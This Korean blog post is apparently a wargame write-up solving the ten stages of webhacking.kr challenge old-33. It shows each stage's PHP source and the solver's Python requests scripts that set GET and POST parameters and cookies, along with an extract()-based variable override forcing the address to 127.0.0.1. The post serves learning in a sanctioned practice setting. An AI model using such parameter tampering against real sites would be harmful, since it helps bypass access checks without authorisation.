wrong이라고 떠 있다.
<hr>
Challenge 33-1<br>
<a href=index.txt>view-source</a>
<hr>
<?php
if($_GET['get']=="hehe") echo "<a href=???>Next</a>";
else echo("Wrong");
?>
view-source로 확인한 코드이다.
get이 hehe이면 Wrong이 안 뜬다.
next를 눌렀더니
lv2.php로 이동된다.
<hr>
Challenge 33-2<br>
<a href=lv2.txt>view-source</a>
<hr>
<?php
if($_POST['post']=="hehe" && $_POST['post2']=="hehe2") echo "<a href=???>Next</a>";
else echo "Wrong";
?>
view-source를 했더니 아까랑은 다른 코드가 나온다.
이번에는 post방식의 변수 2개의 값을 조작해야 한다.
import requests
URL='https://webhacking.kr/challenge/bonus-6/lv2.php'
cookies = {'PHPSESSID':'4hs6lrvp7mlk1ao5v3tijt8lb2'}
data = {"post":"hehe","post2":"hehe2"}
res = requests.post(URL, cookies=cookies, data=data)
print(res.text)
이렇게 코드를 작성해서 요청을 보냈다.
33.php로 이동하고 또 view-source를 확인하였다.
<hr>
Challenge 33-3<br>
<a href=33.txt>view-source</a>
<hr>
<?php
if($_GET['myip'] == $_SERVER['REMOTE_ADDR']) echo "<a href=???>Next</a>";
else echo "Wrong";
?>
내 ip주소를 myip에 담아서 보내준다.
이번에는 hint라는 것이 보인다.
<hr>
Challenge 33-4<br>
<a href=l4.txt>view-source</a>
<hr>
<?php
if($_GET['password'] == md5(time())) echo "<a href=???>Next</a>";
else echo "hint : ".time();
?>
time() 값을 md5로 인코딩 한 값을 password에 넣어줘야 한다.
hint에 나와있는 값보다 한 30 정도 더 큰 값을 md5로 인코딩하고 url에 넣어준 뒤, 계속 새로고침을 하면서 hint값이 맞아떨어질 때까지 기다렸다.
<hr>
Challenge 33-5<br>
<a href=md555.txt>view-source</a>
<hr>
<?php
if($_GET['imget'] && $_POST['impost'] && $_COOKIE['imcookie']) echo "<a href=???>Next</a>";
else echo "Wrong";
?>
다음 페이지에서는 GET, POST 방식의 변수, 쿠키까지 세팅을 해줘야 한다.
import requests
URL='https://webhacking.kr/challenge/bonus-6/md555.php?imget=dobbygation'
cookies = {'PHPSESSID':'4hs6lrvp7mlk1ao5v3tijt8lb2','imcookie':'dobbygation'}
data = {"impost":"dobbygation"}
res = requests.post(URL, cookies=cookies, data=data)
print(res.text)
아까랑 비슷하게 코드를 만들어서 요청을 보내면
이렇게 응답을 얻을 수 있다.
<hr>
Challenge 33-6<br>
<a href=gpcc.txt>view-source</a>
<hr>
<?php
if($_COOKIE['test'] == md5($_SERVER['REMOTE_ADDR']) && $_POST['kk'] == md5($_SERVER['HTTP_USER_AGENT'])) echo "<a href=???>Next</a>";
else echo "hint : {$_SERVER['HTTP_USER_AGENT']}";
?>
조건에 맞게 쿠키와 post 데이터를 설정하고 요청을 보내면 된다.
<hr>
Challenge 33-7<br>
<a href=wtff.txt>view-source</a>
<hr>
<?php
$_SERVER['REMOTE_ADDR'] = str_replace(".","",$_SERVER['REMOTE_ADDR']);
if($_GET[$_SERVER['REMOTE_ADDR']] == $_SERVER['REMOTE_ADDR']) echo "<a href=???>Next</a>";
else echo "Wrong<br>".$_GET[$_SERVER['REMOTE_ADDR']];
?>
.이 replace되어 있다.
내 ip주소에서 .을 빼서 get방식으로 전달한다.
<hr>
Challenge 33-8<br>
<a href=ipt.txt>view-source</a>
<hr>
<?php
extract($_GET);
if(!$_GET['addr']) $addr = $_SERVER['REMOTE_ADDR'];
if($addr == "127.0.0.1") echo "<a href=???>Next</a>";
else echo "Wrong";
?>
8번째이다. 그냥 get 방식으로 addr이 127.0.0.1이 되면 된다.
<hr>
Challenge 33-9<br>
<a href=nextt.txt>view-source</a>
<hr>
<?php
for($i=97;$i<=122;$i=$i+2){
$answer.=chr($i);
}
if($_GET['ans'] == $answer) echo "<a href=???.php>Next</a>";
else echo "Wrong";
?>
ans값을 answer와 같게 넣으면 된다.
acegikmoqsuwy 이걸로 ans를 get방식에서 설정해준다.
<hr>
Challenge 33-10<br>
<a href=forfor.txt>view-source</a>
<hr>
<?php
$ip = $_SERVER['REMOTE_ADDR'];
for($i=0;$i<=strlen($ip);$i++) $ip=str_replace($i,ord($i),$ip);
$ip=str_replace(".","",$ip);
$ip=substr($ip,0,10);
$answer = $ip*2;
$answer = $ip/2;
$answer = str_replace(".","",$answer);
$f=fopen("answerip/{$answer}_{$ip}.php","w");
fwrite($f,"<?php include \"../../../config.php\"; solve(33); unlink(__FILE__); ?>");
fclose($f);
?>
ip주소를 바꾸는데 직접 분석하지 않고 그냥 php 코드를 실행시켜 보았다.
<?php
$ip = '211.206.40.127';
for($i=0;$i<=strlen($ip);$i++) $ip=str_replace($i,ord($i),$ip);
$ip=str_replace(".","",$ip);
$ip=substr($ip,0,10);
$answer = $ip*2;
$answer = $ip/2;
$answer = str_replace(".","",$answer);
echo "answerip/{$answer}_{$ip}.php";
?>
이 코드를 실행시켜서 열어야될 파일을 알아내고
이 링크로 이동했더니 풀렸다.
'웹해킹 > webhacking.kr' 카테고리의 다른 글
old-50 롸업(webhacking.kr) (0) | 2023.12.10 |
---|---|
old-34 롸업(webhacking.kr) (0) | 2023.12.10 |
old-32 롸업(webhacking.kr) (0) | 2023.12.08 |
old-27 롸업(webhacking.kr) (0) | 2023.12.07 |
old-26 롸업(webhacking.kr) (0) | 2023.12.07 |